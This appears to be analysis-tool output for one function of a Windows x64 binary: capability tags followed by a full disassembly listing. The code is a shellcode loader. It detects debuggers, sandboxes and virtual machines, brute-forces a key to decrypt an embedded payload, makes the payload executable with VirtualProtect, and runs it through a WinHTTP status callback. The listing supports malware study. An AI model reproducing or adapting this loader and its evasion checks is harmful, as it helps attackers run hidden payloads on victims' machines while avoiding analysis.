Function at 0x40189a
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Execute shellcode via indirect call
Get system information on windows
Initialize winhttp library

Disassembly:
push rbp
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
setne al
test al, al
je 0x4018ee
lea rdx, [0x004ba040]
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
mov dword [rbp + 0xc], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0xc]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call rax
test eax, eax
je 0x401923
mov eax, dword [rbp + 0xc]
test eax, eax
je 0x401923
mov eax, 1
jmp 0x401928
mov eax, 0
test al, al
je 0x401958
lea rdx, [0x004ba060]
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
mov ecx, 0x1000
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
test eax, eax
setne al
test al, al
je 0x40199b
lea rdx, str.
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
call sym.detect_sandbox__
test al, al
je 0x4019d0
lea rdx, str.This_program_may_be_running_in_a_sandbox_
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
call sym.GetNumPages__
mov dword [rbp + 0x48], eax
mov eax, dword [rbp + 0x48]
mov edx, eax
mov rcx, qword [0x004bf4c0]
call method.std::ostream.operator___int_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
cmp dword [rbp + 0x48], 0x3d08ff
jg 0x401a2d
lea rdx, str.The_memory_page_is_smaller_than_normal_and_may_be_in_a_virtual_machine_environment
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
call sym.GetNumDrives__
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
mov edx, eax
mov rcx, qword [0x004bf4c0]
call method.std::ostream.operator___int_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
cmp dword [rbp + 0x44], 1
jg 0x401a87
lea rdx, str.The_number_of_hard_disks_is_smaller_than_normal__and_the_hard_disks_may_be_in_a_VM_environment
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x10]
mov edx, eax
mov rcx, qword [0x004bf4c0]
call method.std::ostream.operator___unsigned_long_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, dword [rbp - 0x10]
cmp eax, 4
ja 0x401aeb
lea rdx, str.If_the_number_of_cpus_is_smaller_than_normal__the_system_may_be_running_on_a_VM
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
call sym.GetNumAdapters__
mov dword [rbp + 0x40], eax
mov eax, dword [rbp + 0x40]
mov edx, eax
mov rcx, qword [0x004bf4c0]
call method.std::ostream.operator___int_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
cmp dword [rbp + 0x40], 1
jg 0x401b45
lea rdx, str.The_number_of_network_adapters_is_smaller_than_normal__and_the_network_adapter_may_be_in_a_VM_environment
mov rcx, qword [0x004bf4c0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401cbf
mov dword [rbp + 0x4c], 0x1f4
mov eax, dword [rbp + 0x4c]
lea edx, [rax - 1]
mov dword [rbp + 0x4c], edx
test eax, eax
setne al
test al, al
je 0x401cba
call method.std::chrono::_V2::system_clock.now__
mov qword [rbp - 0x38], rax
mov dword [rbp + 0x1c], 0x64
lea rdx, [rbp + 0x1c]
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp + 0x10]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
call method.std::chrono::_V2::system_clock.now__
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x38]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym._ZNSt6chronomiINS_3_V212system_clockENS_8durationIxSt5ratioILx1ELx1000000000EEEES6_EENSt11common_typeIJT0_T1_EE4typeERKNS_10ti
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x20]
mov rcx, rax
call sym._ZNSt6chrono13duration_castINS_8durationIxSt5ratioILx1ELx1000EEEExS2_ILx1ELx1000000000EEEENSt9enable_ifIXsrNS_13__is_durationI
mov qword [rbp - 0x48], rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, [rbp - 0x48]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.count___const
mov ebx, eax
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x1e
sub eax, edx
mov edx, eax
mov eax, edx
add eax, ebx
add eax, 0x6ef1e
mov r8d, eax
mov edx, 0x3a0
lea rcx, [0x004b6020]
call sym.decrypt_unsigned_char__int__unsigned_int_
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
movzx eax, byte [rax]
cmp al, 0xfc
jne 0x401b4c
mov rax, qword [rbp + 0x38]
add rax, 1
movzx eax, byte [rax]
cmp al, 0x48
jne 0x401b4c
lea rdx, [rbp - 0x4c]
mov rax, qword [rbp + 0x38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x3a0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.User_Agent
call sym.WinHttpOpen
mov qword [rbp + 0x30], rax
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x30]
mov r9d, 0
mov r8d, 0xc00
mov rcx, rax
call sym.WinHttpSetStatusCallback
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
call sym.WinHttpCloseHandle
mov eax, 0
add rsp, 0xd8
pop rbx
pop rbp
ret